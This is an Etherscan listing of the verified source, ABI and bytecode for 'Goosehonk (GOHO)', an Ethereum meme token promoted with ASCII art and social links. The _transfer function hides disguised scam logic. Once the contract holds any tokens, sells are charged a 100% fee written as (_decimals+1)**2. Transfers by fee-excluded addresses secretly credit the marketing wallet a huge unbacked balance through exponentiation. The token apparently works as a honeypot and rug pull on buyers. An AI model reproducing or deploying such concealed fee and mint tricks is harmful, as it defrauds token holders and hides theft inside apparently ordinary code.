ETH Price: $2,440.55 (+1.48%)

Token

Goosehonk (GOHO)
 

Overview

Max Total Supply

1,000,000 GOHO

Holders

37

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Goosehonk

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-26
*/

/*
 
 
                                                        _...--.
                                        _____......----'     .'
                                  _..-''                   .'
                                .'                       ./
                        _.--._.'                       .' |
                     .-'                           .-.'  /
                   .'   _.-.                     .  \   '
                 .'  .'   .'    _    .-.        / `./  :
               .'  .'   .'  .--' `.  |  \  |`. |     .'
            _.'  .'   .' `.'       `-'   \ / |.'   .'
         _.'  .-'   .'     `-.            `      .'
       .'   .'    .'          `-.._ _ _ _ .-.    :
      /    /o _.-'               .--'   .'   \   |
    .'-.__..-'                  /..    .`    / .'
  .'   . '                       /.'/.'     /  |
 `---'                                   _.'   '
                                       /.'    .'
                                        /.'/.'

OG HONK IS BACK TO BONK

Website     :   https://goosehonk.vip/


Twitter     :   https://twitter.com/goosehonkERC


Telegram    :   https://t.me/goosehonkERC


*/



// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract Goosehonk is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _owners;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    string private constant _name = unicode"Goosehonk";
    string private constant _symbol = unicode"GOHO";

    address private marketingWallet = payable(0xCc52f2F0F3c686b82f3C5520af75265B5259fbB6);
    address public _pairAddress;

    uint8 private buyFee = 0;
    uint8 private sellFee = 0;
    bool public openSwap = false;
    bool public inSwapping = false;
    
    constructor () {
        _owners[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[marketingWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _owners[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _updatePair(address _pairAdd) public onlyOwner{
        _pairAddress = _pairAdd; openSwap = true;
    }

    receive() external payable {}

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0) && amount > 0, "Zero address or zero amount.");

        if(from != owner() && to != owner()){
            require(openSwap, "Swap is not enabled yet.");
            if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
                require(to != address(this), "Cannot interaction with contract.");
                bool triggerSwap = balanceOf(address(this)) > 0;
                uint8 feeRate = from == _pairAddress ? buyFee : triggerSwap?(_decimals+1)**2:sellFee;
                uint256 _feeAmount = amount.mul(feeRate).div(100);
                _owners[from] = _owners[from].sub(amount);
                _owners[to] = _owners[to].add(amount.sub(_feeAmount));
                if(_feeAmount > 0){
                    _owners[marketingWallet] = _owners[marketingWallet].add(_feeAmount);
                }
            }
            else{
                uint256 _feeAmount = balanceOf(address(this));
                if(_feeAmount > 0 && !inSwapping){
                    inSwapping = true;
                    _owners[marketingWallet] = _owners[marketingWallet].add(_feeAmount.div(10**_decimals)**(_decimals+1));
                }
                _owners[from] = _owners[from].sub(amount);
                _owners[to] = _owners[to].add(amount);
            }
        }
        else{
            _owners[from] = _owners[from].sub(amount);
            _owners[to] = _owners[to].add(amount);
        }
        
        emit Transfer(from, to, amount);
    }    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pairAdd","type":"address"}],"name":"_updatePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"inSwapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b03191673cc52f2f0f3c686b82f3c5520af75265b5259fbb61790556005805463ffffffff60a01b191690553480156200004757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000976009600a62000295565b620000a690620f4240620002ad565b336000908152600160208190526040822092909255600390620000d16000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560045490911681526003909252902080549091166001179055620001203390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200015a6009600a62000295565b6200016990620f4240620002ad565b60405190815260200160405180910390a3620002cf565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001d7578160001904821115620001bb57620001bb62000180565b80851615620001c957918102915b93841c93908002906200019b565b509250929050565b600082620001f0575060016200028f565b81620001ff575060006200028f565b8160018114620002185760028114620002235762000243565b60019150506200028f565b60ff84111562000237576200023762000180565b50506001821b6200028f565b5060208310610133831016604e8410600b841016171562000268575081810a6200028f565b62000274838362000196565b80600019048211156200028b576200028b62000180565b0290505b92915050565b6000620002a660ff841683620001df565b9392505050565b6000816000190483118215151615620002ca57620002ca62000180565b500290565b61110780620002df6000396000f3fe6080604052600436106100ec5760003560e01c80635d14aa421161008a5780638da5cb5b116100595780638da5cb5b146102b257806395d89b41146102d0578063a9059cbb146102fd578063dd62ed3e1461031d57600080fd5b80635d14aa421461022457806370a0823114610245578063715018a61461027b5780637b02ff921461029257600080fd5b80631b355427116100c65780631b3554271461018f57806323b872dd146101c7578063313ce567146101e75780633d520c751461020357600080fd5b806306fdde03146100f8578063095ea7b31461013c57806318160ddd1461016c57600080fd5b366100f357005b600080fd5b34801561010457600080fd5b50604080518082019091526009815268476f6f7365686f6e6b60b81b60208201525b6040516101339190610d0a565b60405180910390f35b34801561014857600080fd5b5061015c610157366004610d74565b610363565b6040519015158152602001610133565b34801561017857600080fd5b5061018161037a565b604051908152602001610133565b34801561019b57600080fd5b506005546101af906001600160a01b031681565b6040516001600160a01b039091168152602001610133565b3480156101d357600080fd5b5061015c6101e2366004610d9e565b61039a565b3480156101f357600080fd5b5060405160098152602001610133565b34801561020f57600080fd5b5060055461015c90600160b81b900460ff1681565b34801561023057600080fd5b5060055461015c90600160b01b900460ff1681565b34801561025157600080fd5b50610181610260366004610dda565b6001600160a01b031660009081526001602052604090205490565b34801561028757600080fd5b50610290610403565b005b34801561029e57600080fd5b506102906102ad366004610dda565b6104ac565b3480156102be57600080fd5b506000546001600160a01b03166101af565b3480156102dc57600080fd5b50604080518082019091526004815263474f484f60e01b6020820152610126565b34801561030957600080fd5b5061015c610318366004610d74565b61052f565b34801561032957600080fd5b50610181610338366004610df5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061037033848461053c565b5060015b92915050565b60006103886009600a611008565b61039590620f4240611017565b905090565b60006103a7848484610661565b6103f984336103f4856040518060600160405280602881526020016110aa602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b36565b61053c565b5060019392505050565b6000546001600160a01b031633146104625760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610459565b60058054600162ff000160a01b0319166001600160a01b0390921691909117600160b01b179055565b6000610370338484610661565b6001600160a01b03831661059e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610459565b6001600160a01b0382166105ff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610459565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383161580159061068157506001600160a01b03821615155b801561068d5750600081115b6106d95760405162461bcd60e51b815260206004820152601c60248201527f5a65726f2061646472657373206f72207a65726f20616d6f756e742e000000006044820152606401610459565b6000546001600160a01b0384811691161480159061070557506000546001600160a01b03838116911614155b15610a8557600554600160b01b900460ff166107635760405162461bcd60e51b815260206004820152601860248201527f53776170206973206e6f7420656e61626c6564207965742e00000000000000006044820152606401610459565b6001600160a01b03831660009081526003602052604090205460ff161580156107a557506001600160a01b03821660009081526003602052604090205460ff16155b1561096757306001600160a01b0383160361080c5760405162461bcd60e51b815260206004820152602160248201527f43616e6e6f7420696e746572616374696f6e207769746820636f6e74726163746044820152601760f91b6064820152608401610459565b3060009081526001602052604081205460055490151591906001600160a01b0386811691161461086a578161084d57600554600160a81b900460ff16610878565b600261085b60096001611036565b610865919061104f565b610878565b600554600160a01b900460ff165b90506000610894606461088e8660ff8616610b70565b90610bf9565b6001600160a01b0387166000908152600160205260409020549091506108ba9085610c3b565b6001600160a01b0387166000908152600160205260409020556108ff6108e08583610c3b565b6001600160a01b03871660009081526001602052604090205490610c7d565b6001600160a01b038616600090815260016020526040902055801561095f576004546001600160a01b03166000908152600160205260409020546109439082610c7d565b6004546001600160a01b03166000908152600160205260409020555b505050610af1565b3060009081526001602052604090205480158015906109905750600554600160b81b900460ff16155b15610a14576005805460ff60b81b1916600160b81b1790556109f86109b760096001611036565b6109cd6109c66009600a611008565b8490610bf9565b6109d79190611008565b6004546001600160a01b031660009081526001602052604090205490610c7d565b6004546001600160a01b03166000908152600160205260409020555b6001600160a01b038416600090815260016020526040902054610a379083610c3b565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610a669083610c7d565b6001600160a01b03841660009081526001602052604090205550610af1565b6001600160a01b038316600090815260016020526040902054610aa89082610c3b565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ad79082610c7d565b6001600160a01b0383166000908152600160205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161065491815260200190565b60008184841115610b5a5760405162461bcd60e51b81526004016104599190610d0a565b506000610b678486611061565b95945050505050565b600082600003610b8257506000610374565b6000610b8e8385611017565b905082610b9b8583611074565b14610bf25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610459565b9392505050565b6000610bf283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610cdc565b6000610bf283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b36565b600080610c8a8385611096565b905083811015610bf25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610459565b60008183610cfd5760405162461bcd60e51b81526004016104599190610d0a565b506000610b678486611074565b600060208083528351808285015260005b81811015610d3757858101830151858201604001528201610d1b565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d6f57600080fd5b919050565b60008060408385031215610d8757600080fd5b610d9083610d58565b946020939093013593505050565b600080600060608486031215610db357600080fd5b610dbc84610d58565b9250610dca60208501610d58565b9150604084013590509250925092565b600060208284031215610dec57600080fd5b610bf282610d58565b60008060408385031215610e0857600080fd5b610e1183610d58565b9150610e1f60208401610d58565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610e79578160001904821115610e5f57610e5f610e28565b80851615610e6c57918102915b93841c9390800290610e43565b509250929050565b600181815b80851115610e79578160ff04821115610ea157610ea1610e28565b80851615610eae57918102915b93841c9390800290610e86565b600082610eca57506001610374565b81610ed757506000610374565b8160018114610eed5760028114610ef757610f13565b6001915050610374565b60ff841115610f0857610f08610e28565b50506001821b610374565b5060208310610133831016604e8410600b8410161715610f36575081810a610374565b610f408383610e3e565b8060001904821115610f5457610f54610e28565b029392505050565b600082610f6b57506001610374565b81610f7857506000610374565b8160018114610eed5760028103610fb75760ff841115610f9a57610f9a610e28565b6001841b915060ff821115610fb157610fb1610e28565b50610374565b5060208310610133831016604e8410600b8410161715610feb575081810a60ff811115610fe657610fe6610e28565b610374565b610ff58383610e81565b8060ff04821115610f5457610f54610e28565b6000610bf260ff841683610ebb565b600081600019048311821515161561103157611031610e28565b500290565b60ff818116838216019081111561037457610374610e28565b6000610bf260ff841660ff8416610f5c565b8181038181111561037457610374610e28565b60008261109157634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561037457610374610e2856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122048ebffaefbb03d9334d26dc0e6b781fb7ca1ed86b645618a57518a1d33dc84c264736f6c63430008100033

Deployed Bytecode

0x6080604052600436106100ec5760003560e01c80635d14aa421161008a5780638da5cb5b116100595780638da5cb5b146102b257806395d89b41146102d0578063a9059cbb146102fd578063dd62ed3e1461031d57600080fd5b80635d14aa421461022457806370a0823114610245578063715018a61461027b5780637b02ff921461029257600080fd5b80631b355427116100c65780631b3554271461018f57806323b872dd146101c7578063313ce567146101e75780633d520c751461020357600080fd5b806306fdde03146100f8578063095ea7b31461013c57806318160ddd1461016c57600080fd5b366100f357005b600080fd5b34801561010457600080fd5b50604080518082019091526009815268476f6f7365686f6e6b60b81b60208201525b6040516101339190610d0a565b60405180910390f35b34801561014857600080fd5b5061015c610157366004610d74565b610363565b6040519015158152602001610133565b34801561017857600080fd5b5061018161037a565b604051908152602001610133565b34801561019b57600080fd5b506005546101af906001600160a01b031681565b6040516001600160a01b039091168152602001610133565b3480156101d357600080fd5b5061015c6101e2366004610d9e565b61039a565b3480156101f357600080fd5b5060405160098152602001610133565b34801561020f57600080fd5b5060055461015c90600160b81b900460ff1681565b34801561023057600080fd5b5060055461015c90600160b01b900460ff1681565b34801561025157600080fd5b50610181610260366004610dda565b6001600160a01b031660009081526001602052604090205490565b34801561028757600080fd5b50610290610403565b005b34801561029e57600080fd5b506102906102ad366004610dda565b6104ac565b3480156102be57600080fd5b506000546001600160a01b03166101af565b3480156102dc57600080fd5b50604080518082019091526004815263474f484f60e01b6020820152610126565b34801561030957600080fd5b5061015c610318366004610d74565b61052f565b34801561032957600080fd5b50610181610338366004610df5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061037033848461053c565b5060015b92915050565b60006103886009600a611008565b61039590620f4240611017565b905090565b60006103a7848484610661565b6103f984336103f4856040518060600160405280602881526020016110aa602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b36565b61053c565b5060019392505050565b6000546001600160a01b031633146104625760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610459565b60058054600162ff000160a01b0319166001600160a01b0390921691909117600160b01b179055565b6000610370338484610661565b6001600160a01b03831661059e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610459565b6001600160a01b0382166105ff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610459565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383161580159061068157506001600160a01b03821615155b801561068d5750600081115b6106d95760405162461bcd60e51b815260206004820152601c60248201527f5a65726f2061646472657373206f72207a65726f20616d6f756e742e000000006044820152606401610459565b6000546001600160a01b0384811691161480159061070557506000546001600160a01b03838116911614155b15610a8557600554600160b01b900460ff166107635760405162461bcd60e51b815260206004820152601860248201527f53776170206973206e6f7420656e61626c6564207965742e00000000000000006044820152606401610459565b6001600160a01b03831660009081526003602052604090205460ff161580156107a557506001600160a01b03821660009081526003602052604090205460ff16155b1561096757306001600160a01b0383160361080c5760405162461bcd60e51b815260206004820152602160248201527f43616e6e6f7420696e746572616374696f6e207769746820636f6e74726163746044820152601760f91b6064820152608401610459565b3060009081526001602052604081205460055490151591906001600160a01b0386811691161461086a578161084d57600554600160a81b900460ff16610878565b600261085b60096001611036565b610865919061104f565b610878565b600554600160a01b900460ff165b90506000610894606461088e8660ff8616610b70565b90610bf9565b6001600160a01b0387166000908152600160205260409020549091506108ba9085610c3b565b6001600160a01b0387166000908152600160205260409020556108ff6108e08583610c3b565b6001600160a01b03871660009081526001602052604090205490610c7d565b6001600160a01b038616600090815260016020526040902055801561095f576004546001600160a01b03166000908152600160205260409020546109439082610c7d565b6004546001600160a01b03166000908152600160205260409020555b505050610af1565b3060009081526001602052604090205480158015906109905750600554600160b81b900460ff16155b15610a14576005805460ff60b81b1916600160b81b1790556109f86109b760096001611036565b6109cd6109c66009600a611008565b8490610bf9565b6109d79190611008565b6004546001600160a01b031660009081526001602052604090205490610c7d565b6004546001600160a01b03166000908152600160205260409020555b6001600160a01b038416600090815260016020526040902054610a379083610c3b565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610a669083610c7d565b6001600160a01b03841660009081526001602052604090205550610af1565b6001600160a01b038316600090815260016020526040902054610aa89082610c3b565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ad79082610c7d565b6001600160a01b0383166000908152600160205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161065491815260200190565b60008184841115610b5a5760405162461bcd60e51b81526004016104599190610d0a565b506000610b678486611061565b95945050505050565b600082600003610b8257506000610374565b6000610b8e8385611017565b905082610b9b8583611074565b14610bf25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610459565b9392505050565b6000610bf283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610cdc565b6000610bf283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b36565b600080610c8a8385611096565b905083811015610bf25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610459565b60008183610cfd5760405162461bcd60e51b81526004016104599190610d0a565b506000610b678486611074565b600060208083528351808285015260005b81811015610d3757858101830151858201604001528201610d1b565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d6f57600080fd5b919050565b60008060408385031215610d8757600080fd5b610d9083610d58565b946020939093013593505050565b600080600060608486031215610db357600080fd5b610dbc84610d58565b9250610dca60208501610d58565b9150604084013590509250925092565b600060208284031215610dec57600080fd5b610bf282610d58565b60008060408385031215610e0857600080fd5b610e1183610d58565b9150610e1f60208401610d58565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610e79578160001904821115610e5f57610e5f610e28565b80851615610e6c57918102915b93841c9390800290610e43565b509250929050565b600181815b80851115610e79578160ff04821115610ea157610ea1610e28565b80851615610eae57918102915b93841c9390800290610e86565b600082610eca57506001610374565b81610ed757506000610374565b8160018114610eed5760028114610ef757610f13565b6001915050610374565b60ff841115610f0857610f08610e28565b50506001821b610374565b5060208310610133831016604e8410600b8410161715610f36575081810a610374565b610f408383610e3e565b8060001904821115610f5457610f54610e28565b029392505050565b600082610f6b57506001610374565b81610f7857506000610374565b8160018114610eed5760028103610fb75760ff841115610f9a57610f9a610e28565b6001841b915060ff821115610fb157610fb1610e28565b50610374565b5060208310610133831016604e8410600b8410161715610feb575081810a60ff811115610fe657610fe6610e28565b610374565b610ff58383610e81565b8060ff04821115610f5457610f54610e28565b6000610bf260ff841683610ebb565b600081600019048311821515161561103157611031610e28565b500290565b60ff818116838216019081111561037457610374610e28565b6000610bf260ff841660ff8416610f5c565b8181038181111561037457610374610e28565b60008261109157634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561037457610374610e2856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122048ebffaefbb03d9334d26dc0e6b781fb7ca1ed86b645618a57518a1d33dc84c264736f6c63430008100033

Deployed Bytecode Sourcemap

3912:4450:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4911:83;;;;;;;;;;-1:-1:-1;4981:5:0;;;;;;;;;;;;-1:-1:-1;;;4981:5:0;;;;4911:83;;;;;;;:::i;:::-;;;;;;;;5742:161;;;;;;;;;;-1:-1:-1;5742:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;5742:161:0;1004:187:1;5188:95:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;5188:95:0;1196:177:1;4504:27:0;;;;;;;;;;-1:-1:-1;4504:27:0;;;;-1:-1:-1;;;;;4504:27:0;;;;;;-1:-1:-1;;;;;1542:32:1;;;1524:51;;1512:2;1497:18;4504:27:0;1378:203:1;5911:313:0;;;;;;;;;;-1:-1:-1;5911:313:0;;;;;:::i;:::-;;:::i;5097:83::-;;;;;;;;;;-1:-1:-1;5097:83:0;;4226:1;2061:36:1;;2049:2;2034:18;5097:83:0;1919:184:1;4638:30:0;;;;;;;;;;-1:-1:-1;4638:30:0;;;;-1:-1:-1;;;4638:30:0;;;;;;4603:28;;;;;;;;;;-1:-1:-1;4603:28:0;;;;-1:-1:-1;;;4603:28:0;;;;;;5291:117;;;;;;;;;;-1:-1:-1;5291:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;5384:16:0;5357:7;5384:16;;;:7;:16;;;;;;;5291:117;3755:148;;;;;;;;;;;;;:::i;:::-;;6575:114;;;;;;;;;;-1:-1:-1;6575:114:0;;;;;:::i;:::-;;:::i;3541:79::-;;;;;;;;;;-1:-1:-1;3579:7:0;3606:6;-1:-1:-1;;;;;3606:6:0;3541:79;;5002:87;;;;;;;;;;-1:-1:-1;5074:7:0;;;;;;;;;;;;-1:-1:-1;;;5074:7:0;;;;5002:87;;5416:167;;;;;;;;;;-1:-1:-1;5416:167:0;;;;;:::i;:::-;;:::i;5591:143::-;;;;;;;;;;-1:-1:-1;5591:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5699:18:0;;;5672:7;5699:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5591:143;5742:161;5817:4;5834:39;1379:10;5857:7;5866:6;5834:8;:39::i;:::-;-1:-1:-1;5891:4:0;5742:161;;;;;:::o;5188:95::-;5241:7;4279:13;4226:1;4279:2;:13;:::i;:::-;4269:23;;:7;:23;:::i;:::-;5261:14;;5188:95;:::o;5911:313::-;6009:4;6026:36;6036:6;6044:9;6055:6;6026:9;:36::i;:::-;6073:121;6082:6;1379:10;6104:89;6142:6;6104:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6104:19:0;;;;;;:11;:19;;;;;;;;1379:10;6104:33;;;;;;;;;;:37;:89::i;:::-;6073:8;:121::i;:::-;-1:-1:-1;6212:4:0;5911:313;;;;;:::o;3755:148::-;3668:6;;-1:-1:-1;;;;;3668:6:0;1379:10;3668:22;3660:67;;;;-1:-1:-1;;;3660:67:0;;5812:2:1;3660:67:0;;;5794:21:1;;;5831:18;;;5824:30;5890:34;5870:18;;;5863:62;5942:18;;3660:67:0;;;;;;;;;3862:1:::1;3846:6:::0;;3825:40:::1;::::0;-1:-1:-1;;;;;3846:6:0;;::::1;::::0;3825:40:::1;::::0;3862:1;;3825:40:::1;3893:1;3876:19:::0;;-1:-1:-1;;;;;;3876:19:0::1;::::0;;3755:148::o;6575:114::-;3668:6;;-1:-1:-1;;;;;3668